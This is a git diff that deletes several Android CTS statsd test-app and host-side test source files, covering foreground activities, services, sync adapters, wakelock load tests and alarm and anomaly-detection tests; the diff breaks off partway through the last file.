--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java
+++ /dev/null
@@ -1,192 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Activity;
-import android.app.Notification;
-import android.app.NotificationChannel;
-import android.app.NotificationChannelGroup;
-import android.app.NotificationManager;
-import android.app.usage.NetworkStatsManager;
-import android.content.Context;
-import android.content.Intent;
-import android.graphics.Color;
-import android.graphics.Point;
-import android.net.ConnectivityManager;
-import android.os.AsyncTask;
-import android.os.Bundle;
-import android.os.RemoteException;
-import android.util.Log;
-import android.view.Gravity;
-import android.view.View;
-import android.view.ViewGroup;
-import android.view.WindowManager;
-
-/** An activity (to be run as a foreground process) which performs one of a number of actions. */
-public class StatsdCtsForegroundActivity extends Activity {
-    private static final String TAG = StatsdCtsForegroundActivity.class.getSimpleName();
-
-    public static final String KEY_ACTION = "action";
-    public static final String ACTION_END_IMMEDIATELY = "action.end_immediately";
-    public static final String ACTION_SLEEP_WHILE_TOP = "action.sleep_top";
-    public static final String ACTION_LONG_SLEEP_WHILE_TOP = "action.long_sleep_top";
-    public static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
-    public static final String ACTION_SHOW_NOTIFICATION = "action.show_notification";
-    public static final String ACTION_CREATE_CHANNEL_GROUP = "action.create_channel_group";
-    public static final String ACTION_POLL_NETWORK_STATS = "action.poll_network_stats";
-
-    public static final int SLEEP_OF_ACTION_SLEEP_WHILE_TOP = 2_000;
-    public static final int SLEEP_OF_ACTION_SHOW_APPLICATION_OVERLAY = 2_000;
-    public static final int LONG_SLEEP_WHILE_TOP = 60_000;
-
-    @Override
-    public void onCreate(Bundle bundle) {
-        super.onCreate(bundle);
-
-        Intent intent = this.getIntent();
-        if (intent == null) {
-            Log.e(TAG, "Intent was null.");
-            finish();
-        }
-
-        String action = intent.getStringExtra(KEY_ACTION);
-        Log.i(TAG, "Starting " + action + " from foreground activity.");
-
-        switch (action) {
-            case ACTION_END_IMMEDIATELY:
-                finish();
-                break;
-            case ACTION_SLEEP_WHILE_TOP:
-                doSleepWhileTop(SLEEP_OF_ACTION_SLEEP_WHILE_TOP);
-                break;
-            case ACTION_LONG_SLEEP_WHILE_TOP:
-                doSleepWhileTop(LONG_SLEEP_WHILE_TOP);
-                break;
-            case ACTION_SHOW_APPLICATION_OVERLAY:
-                doShowApplicationOverlay();
-                break;
-            case ACTION_SHOW_NOTIFICATION:
-                doShowNotification();
-                break;
-            case ACTION_CREATE_CHANNEL_GROUP:
-                doCreateChannelGroup();
-                break;
-            case ACTION_POLL_NETWORK_STATS:
-                doPollNetworkStats();
-                break;
-            default:
-                Log.e(TAG, "Intent had invalid action " + action);
-                finish();
-        }
-    }
-
-    /** Does nothing, but asynchronously. */
-    private void doSleepWhileTop(int sleepTime) {
-        new AsyncTask<Void, Void, Void>() {
-            @Override
-            protected Void doInBackground(Void... params) {
-                AtomTests.sleep(sleepTime);
-                return null;
-            }
-
-            @Override
-            protected void onPostExecute(Void nothing) {
-                finish();
-            }
-        }.execute();
-    }
-
-    private void doShowApplicationOverlay() {
-        // Adapted from BatteryStatsBgVsFgActions.java.
-        final WindowManager wm = getSystemService(WindowManager.class);
-        Point size = new Point();
-        wm.getDefaultDisplay().getSize(size);
-
-        WindowManager.LayoutParams wmlp = new WindowManager.LayoutParams(
-                WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
-                WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
-                        | WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
-                        | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
-        wmlp.width = size.x / 4;
-        wmlp.height = size.y / 4;
-        wmlp.gravity = Gravity.CENTER | Gravity.LEFT;
-        wmlp.setTitle(getPackageName());
-
-        ViewGroup.LayoutParams vglp = new ViewGroup.LayoutParams(
-                ViewGroup.LayoutParams.MATCH_PARENT,
-                ViewGroup.LayoutParams.MATCH_PARENT);
-
-        View v = new View(this);
-        v.setBackgroundColor(Color.GREEN);
-        v.setLayoutParams(vglp);
-        wm.addView(v, wmlp);
-
-        // The overlay continues long after the finish. The following is just to end the activity.
-        AtomTests.sleep(SLEEP_OF_ACTION_SHOW_APPLICATION_OVERLAY);
-        finish();
-    }
-
-    private void doShowNotification() {
-        final int notificationId = R.layout.activity_main;
-        final String notificationChannelId = "StatsdCtsChannel";
-
-        NotificationManager nm = getSystemService(NotificationManager.class);
-        NotificationChannel channel = new NotificationChannel(notificationChannelId, "Statsd Cts",
-                NotificationManager.IMPORTANCE_DEFAULT);
-        channel.setDescription("Statsd Cts Channel");
-        nm.createNotificationChannel(channel);
-
-        nm.notify(
-                notificationId,
-                new Notification.Builder(this, notificationChannelId)
-                        .setSmallIcon(android.R.drawable.stat_notify_chat)
-                        .setContentTitle("StatsdCts")
-                        .setContentText("StatsdCts")
-                        .build());
-        nm.cancel(notificationId);
-        finish();
-    }
-
-    private void doCreateChannelGroup() {
-        NotificationManager nm = getSystemService(NotificationManager.class);
-        NotificationChannelGroup channelGroup = new NotificationChannelGroup("StatsdCtsGroup",
-                "Statsd Cts Group");
-        channelGroup.setDescription("StatsdCtsGroup Description");
-        nm.createNotificationChannelGroup(channelGroup);
-        finish();
-    }
-
-    // Trigger force poll on NetworkStatsService to make sure the service get most updated network
-    // stats from lower layer on subsequent verifications.
-    private void doPollNetworkStats() {
-        final NetworkStatsManager nsm =
-                (NetworkStatsManager) getSystemService(Context.NETWORK_STATS_SERVICE);
-
-        // While the flag of force polling is the only important thing needed when making binder
-        // call to service, the type, parameters and returned result of the query here do not
-        // matter.
-        try {
-            nsm.setPollForce(true);
-            nsm.querySummaryForUser(ConnectivityManager.TYPE_WIFI, null, Long.MIN_VALUE,
-                    Long.MAX_VALUE);
-        } catch (RemoteException e) {
-            Log.e(TAG, "doPollNetworkStats failed with " + e);
-        } finally {
-            finish();
-        }
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundService.java
deleted file mode 100644
index ab46f5f..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundService.java
+++ /dev/null
@@ -1,125 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Notification;
-import android.app.NotificationChannel;
-import android.app.NotificationManager;
-import android.app.Service;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Build;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.IBinder;
-import android.os.Looper;
-import android.os.Message;
-import android.os.Process;
-import android.util.Log;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-
-public class StatsdCtsForegroundService extends Service {
-    private static final String TAG = "SimpleForegroundService";
-    private static final String NOTIFICATION_CHANNEL_ID = "Foreground Service";
-
-    // TODO: pass this in from host side.
-    public static final int SLEEP_OF_FOREGROUND_SERVICE = 2_000;
-
-    private Looper mServiceLooper;
-    private ServiceHandler mServiceHandler;
-    private boolean mChannelCreated;
-
-    private final class ServiceHandler extends Handler {
-        public ServiceHandler(Looper looper) {
-            super(looper);
-        }
-
-        @Override
-        public void handleMessage(Message msg) {
-            Log.i(TAG, "Handling message.");
-            // Sleep.
-            try {
-                Thread.sleep(SLEEP_OF_FOREGROUND_SERVICE);
-            } catch (InterruptedException e) {
-                // Restore interrupt status.
-                Thread.currentThread().interrupt();
-            }
-            Log.i(TAG, "Stopping service.");
-            // Stop the service using the startId, so that we don't stop
-            // the service in the middle of handling another job
-            stopSelf(msg.arg1);
-        }
-    }
-
-    @Override
-    public void onCreate() {
-        // Start up the thread running the service.  Note that we create a
-        // separate thread because the service normally runs in the process's
-        // main thread, which we don't want to block.  We also make it
-        // background priority so CPU-intensive work will not disrupt our UI.
-        HandlerThread thread = new HandlerThread("ServiceStartArguments",
-                Process.THREAD_PRIORITY_BACKGROUND);
-        thread.start();
-
-        // Get the HandlerThread's Looper and use it for our Handler
-        mServiceLooper = thread.getLooper();
-        mServiceHandler = new ServiceHandler(mServiceLooper);
-
-        if (ApiLevelUtil.isBefore(Build.VERSION_CODES.O_MR1)) {
-            return;
-        }
-        // OMR1 requires notification channel to be set
-        NotificationManager notificationManager =
-                (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
-        NotificationChannel channel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
-                NOTIFICATION_CHANNEL_ID,
-                NotificationManager.IMPORTANCE_HIGH);
-        notificationManager.createNotificationChannel(channel);
-        mChannelCreated = true;
-    }
-
-    @Override
-    public int onStartCommand(Intent intent, int flags, int startId) {
-        Notification notification = new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
-                .setContentTitle("CTS Foreground")
-                .setSmallIcon(android.R.drawable.ic_secure)
-                .build();
-        Log.i(TAG, "Starting Foreground.");
-        startForeground(1, notification);
-
-        Message msg = mServiceHandler.obtainMessage();
-        msg.arg1 = startId;
-        mServiceHandler.sendMessage(msg);
-
-        return START_NOT_STICKY;
-    }
-
-    @Override
-    public IBinder onBind(Intent intent) {
-        return null;
-    }
-
-    @Override
-    public void onDestroy () {
-        if (mChannelCreated) {
-            NotificationManager notificationManager =
-                    (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
-            notificationManager.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
-        }
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java
deleted file mode 100644
index d81040f..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java
+++ /dev/null
@@ -1,87 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.annotation.TargetApi;
-import android.app.job.JobInfo;
-import android.app.job.JobParameters;
-import android.app.job.JobScheduler;
-import android.app.job.JobService;
-import android.content.Context;
-import android.os.Handler;
-import android.util.Log;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-import javax.annotation.concurrent.GuardedBy;
-
-/**
- * Handles callback from the framework {@link android.app.job.JobScheduler}.
- * Runs a job for 0.5 seconds. Provides a countdown latch to wait on, by the test that schedules it.
- */
-@TargetApi(21)
-public class StatsdJobService extends JobService {
-  private static final String TAG = "AtomTestsJobService";
-
-  JobInfo mRunningJobInfo;
-  JobParameters mRunningParams;
-
-  private static final Object sLock = new Object();
-
-  @GuardedBy("sLock")
-  private static CountDownLatch sLatch;
-
-  final Handler mHandler = new Handler();
-  final Runnable mWorker = new Runnable() {
-    @Override public void run() {
-      try {
-        Thread.sleep(500);
-      } catch (InterruptedException e) {
-      }
-
-      jobFinished(mRunningParams, false);
-
-      synchronized (sLock) {
-        if (sLatch != null) {
-          sLatch.countDown();
-        }
-      }
-    }
-  };
-
-  public static synchronized CountDownLatch resetCountDownLatch() {
-    synchronized (sLock) {
-      if (sLatch == null || sLatch.getCount() == 0) {
-        sLatch = new CountDownLatch(1);
-      }
-    }
-    return sLatch;
-  }
-
-  @Override
-  public boolean onStartJob(JobParameters params) {
-    mRunningParams = params;
-    mHandler.post(mWorker);
-    return true;
-  }
-
-  @Override
-  public boolean onStopJob(JobParameters params) {
-    return false;
-  }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdProvider.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdProvider.java
deleted file mode 100644
index bd652b2..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdProvider.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *          http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts.device.statsd;
-
-import android.content.ContentProvider;
-import android.content.ContentValues;
-import android.database.Cursor;
-import android.net.Uri;
-
-/**
- * Provider for the sync test.
- */
-public class StatsdProvider extends ContentProvider {
-    public static final String AUTHORITY = "com.android.server.cts.device.statsd.provider";
-
-    @Override
-    public boolean onCreate() {
-        return false;
-    }
-
-    @Override
-    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
-            String sortOrder) {
-        return null;
-    }
-
-    @Override
-    public String getType(Uri uri) {
-        return null;
-    }
-
-    @Override
-    public Uri insert(Uri uri, ContentValues values) {
-        return null;
-    }
-
-    @Override
-    public int delete(Uri uri, String selection, String[] selectionArgs) {
-        return 0;
-    }
-
-    @Override
-    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
-        return 0;
-    }
-}
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java
deleted file mode 100644
index 6968307..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java
+++ /dev/null
@@ -1,89 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *          http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts.device.statsd;
-
-import android.accounts.Account;
-import android.content.AbstractThreadedSyncAdapter;
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.Context;
-import android.content.SyncResult;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.util.Log;
-
-import org.junit.Assert;
-
-import java.util.concurrent.CountDownLatch;
-
-import javax.annotation.concurrent.GuardedBy;
-
-/**
- * Sync adapter for the sync test.
- */
-public class StatsdSyncAdapter extends AbstractThreadedSyncAdapter {
-    private static final String TAG = "AtomTestsSyncAdapter";
-
-    private static final int TIMEOUT_SECONDS = 60 * 2;
-
-    private static CountDownLatch sLatch;
-
-    private static final Object sLock = new Object();
-
-
-    public StatsdSyncAdapter(Context context) {
-        // No need for auto-initialization because we set isSyncable in the test anyway.
-        super(context, /* autoInitialize= */ false);
-    }
-
-    @Override
-    public void onPerformSync(Account account, Bundle extras, String authority,
-            ContentProviderClient provider, SyncResult syncResult) {
-        try {
-            Thread.sleep(500);
-        } catch (InterruptedException e) {
-        }
-        synchronized (sLock) {
-            Log.i(TAG, "onPerformSync");
-            if (sLatch != null) {
-                sLatch.countDown();
-            } else {
-                Log.w(TAG, "sLatch is null, resetCountDownLatch probably should have been called");
-            }
-        }
-    }
-
-    /**
-     * Request a sync on the given account, and wait for it.
-     */
-    public static void requestSync(Account account) throws Exception {
-        final Bundle extras = new Bundle();
-        extras.putBoolean(ContentResolver.SYNC_EXTRAS_EXPEDITED, true);
-        extras.putBoolean(ContentResolver.SYNC_EXTRAS_IGNORE_BACKOFF, true);
-        extras.putBoolean(ContentResolver.SYNC_EXTRAS_IGNORE_SETTINGS, true);
-
-        ContentResolver.requestSync(account, StatsdProvider.AUTHORITY, extras);
-    }
-
-    public static CountDownLatch resetCountDownLatch() {
-        synchronized (sLock) {
-            if (sLatch == null || sLatch.getCount() == 0) {
-                sLatch = new CountDownLatch(1);
-            }
-        }
-        return sLatch;
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncService.java
deleted file mode 100644
index ab06c6f..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncService.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts.device.statsd;
-
-import android.app.Service;
-import android.content.Intent;
-import android.os.IBinder;
-
-/**
- * Service for the sync test.
- */
-public class StatsdSyncService extends Service {
-
-    private static StatsdSyncAdapter sAdapter;
-
-    @Override
-    public synchronized IBinder onBind(Intent intent) {
-        if (sAdapter == null) {
-            sAdapter = new StatsdSyncAdapter(getApplicationContext());
-        }
-        return sAdapter.getSyncAdapterBinder();
-    }
-}
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/VideoPlayerActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/VideoPlayerActivity.java
deleted file mode 100644
index ea1fcec..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/VideoPlayerActivity.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.os.AsyncTask;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.util.Log;
-import android.widget.VideoView;
-
-public class VideoPlayerActivity extends Activity {
-    private static final String TAG = VideoPlayerActivity.class.getSimpleName();
-
-    public static final String KEY_ACTION = "action";
-    public static final String ACTION_PLAY_VIDEO = "action.play_video";
-    public static final String ACTION_PLAY_VIDEO_PICTURE_IN_PICTURE_MODE =
-            "action.play_video_picture_in_picture_mode";
-
-    public static final int DELAY_MILLIS = 2000;
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        Intent intent = this.getIntent();
-        if (intent == null) {
-            Log.e(TAG, "Intent was null.");
-            finish();
-        }
-
-        String action = intent.getStringExtra(KEY_ACTION);
-        Log.i(TAG, "Starting " + action + " from foreground activity.");
-
-        switch (action) {
-            case ACTION_PLAY_VIDEO:
-                playVideo();
-                break;
-            case ACTION_PLAY_VIDEO_PICTURE_IN_PICTURE_MODE:
-                playVideo();
-                this.enterPictureInPictureMode();
-                break;
-            default:
-                Log.e(TAG, "Intent had invalid action " + action);
-                finish();
-        }
-        delay();
-    }
-
-    private void playVideo() {
-        setContentView(R.layout.activity_main);
-        VideoView videoView = (VideoView)findViewById(R.id.video_player_view);
-        videoView.setVideoPath("android.resource://" + getPackageName() + "/" + R.raw.colors_video);
-        videoView.start();
-    }
-
-    private void delay() {
-        new AsyncTask<Void, Void, Void>() {
-            @Override
-            protected Void doInBackground(Void... params) {
-                SystemClock.sleep(DELAY_MILLIS);
-                return null;
-            }
-            @Override
-            protected void onPostExecute(Void nothing) {
-                finish();
-            }
-        }.execute();
-    }
-}
-
-
-
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/WakelockLoadTestRunnable.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/WakelockLoadTestRunnable.java
deleted file mode 100644
index 1a3d32a..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/WakelockLoadTestRunnable.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts.device.statsd;
-
-import android.content.Context;
-import android.os.PowerManager;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.util.concurrent.CountDownLatch;
-
-public class WakelockLoadTestRunnable implements Runnable {
-    String tag;
-    CountDownLatch latch;
-    WakelockLoadTestRunnable(String t, CountDownLatch l) {
-        tag = t;
-        latch = l;
-    }
-    @Override
-    public void run() {
-        Context context = InstrumentationRegistry.getContext();
-        PowerManager pm = context.getSystemService(PowerManager.class);
-        PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, tag);
-        long sleepTimeNs = 700_000;
-
-        for (int i = 0; i < 1000; i++) {
-            wl.acquire();
-            long startTime = System.nanoTime();
-            while (System.nanoTime() - startTime < sleepTimeNs) {}
-            wl.release();
-            startTime = System.nanoTime();
-            while (System.nanoTime() - startTime < sleepTimeNs) {}
-        }
-        latch.countDown();
-    }
-
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java b/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java
deleted file mode 100644
index 032297e..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.alarm;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.AtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.Alarm;
-import com.android.internal.os.StatsdConfigProto.IncidentdDetails;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.Subscription;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.util.List;
-
-/**
- * Statsd Anomaly Detection tests.
- */
-public class AlarmTests extends AtomTestCase {
-
-    private static final String TAG = "Statsd.AnomalyDetectionTests";
-
-    private static final boolean INCIDENTD_TESTS_ENABLED = false;
-
-    // Config constants
-    private static final int ALARM_ID = 11;
-    private static final int SUBSCRIPTION_ID_INCIDENTD = 41;
-    private static final int INCIDENTD_SECTION = -1;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        if (!INCIDENTD_TESTS_ENABLED) {
-            CLog.w(TAG, TAG + " alarm tests are disabled by a flag. Change flag to true to run");
-        }
-    }
-
-    public void testAlarm() throws Exception {
-        StatsdConfig.Builder config = getBaseConfig();
-        turnScreenOn();
-        uploadConfig(config);
-
-        String markTime = getCurrentLogcatDate();
-        Thread.sleep(9_000);
-
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
-    }
-
-
-    private final StatsdConfig.Builder getBaseConfig() throws Exception {
-      return createConfigBuilder()
-          .addAlarm(Alarm.newBuilder().setId(ALARM_ID).setOffsetMillis(2).setPeriodMillis(
-              5_000) // every 5 seconds.
-              )
-          .addSubscription(Subscription.newBuilder()
-                               .setId(SUBSCRIPTION_ID_INCIDENTD)
-                               .setRuleType(Subscription.RuleType.ALARM)
-                               .setRuleId(ALARM_ID)
-                               .setIncidentdDetails(
-                                   IncidentdDetails.newBuilder().addSection(INCIDENTD_SECTION)));
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java b/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
deleted file mode 100644
index d6c1107..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
+++ /dev/null
@@ -1,471 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.alert;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.atom.AtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.Alert;
-import com.android.internal.os.StatsdConfigProto.CountMetric;
-import com.android.internal.os.StatsdConfigProto.DurationMetric;
-import com.android.internal.os.StatsdConfigProto.FieldFilter;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.GaugeMetric;
-import com.android.internal.os.StatsdConfigProto.IncidentdDetails;
-import com.android.internal.os.StatsdConfigProto.PerfettoDetails;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.Subscription;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.internal.os.StatsdConfigProto.ValueMetric;
-import com.android.os.AtomsProto.AnomalyDetected;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.KernelWakelock;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.tradefed.log.LogUtil.CLog;
-import java.util.List;
-
-/**
- * Statsd Anomaly Detection tests.
- */
-public class AnomalyDetectionTests extends AtomTestCase {
-
-    private static final String TAG = "Statsd.AnomalyDetectionTests";
-
-    private static final boolean INCIDENTD_TESTS_ENABLED = false;
-    private static final boolean PERFETTO_TESTS_ENABLED = true;
-
-    private static final int WAIT_AFTER_BREADCRUMB_MS = 2000;
-
-    // Config constants
-    private static final int APP_BREADCRUMB_REPORTED_MATCH_START_ID = 1;
-    private static final int APP_BREADCRUMB_REPORTED_MATCH_STOP_ID = 2;
-    private static final int METRIC_ID = 8;
-    private static final int ALERT_ID = 11;
-    private static final int SUBSCRIPTION_ID_INCIDENTD = 41;
-    private static final int SUBSCRIPTION_ID_PERFETTO = 42;
-    private static final int ANOMALY_DETECT_MATCH_ID = 10;
-    private static final int ANOMALY_EVENT_ID = 101;
-    private static final int INCIDENTD_SECTION = -1;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        if (!INCIDENTD_TESTS_ENABLED) {
-            CLog.w(TAG, TAG + " anomaly tests are disabled by a flag. Change flag to true to run");
-        }
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        if (PERFETTO_TESTS_ENABLED) {
-            //Deadline to finish trace collection
-            final long deadLine = System.currentTimeMillis() + 10000;
-            while (isSystemTracingEnabled()) {
-                if (System.currentTimeMillis() > deadLine) {
-                    CLog.w("/sys/kernel/debug/tracing/tracing_on is still 1 after 10 secs : " + isSystemTracingEnabled());
-                    break;
-                }
-                CLog.d("Waiting to finish collecting traces. ");
-                Thread.sleep(WAIT_TIME_SHORT);
-            }
-        }
-    }
-
-    // Tests that anomaly detection for count works.
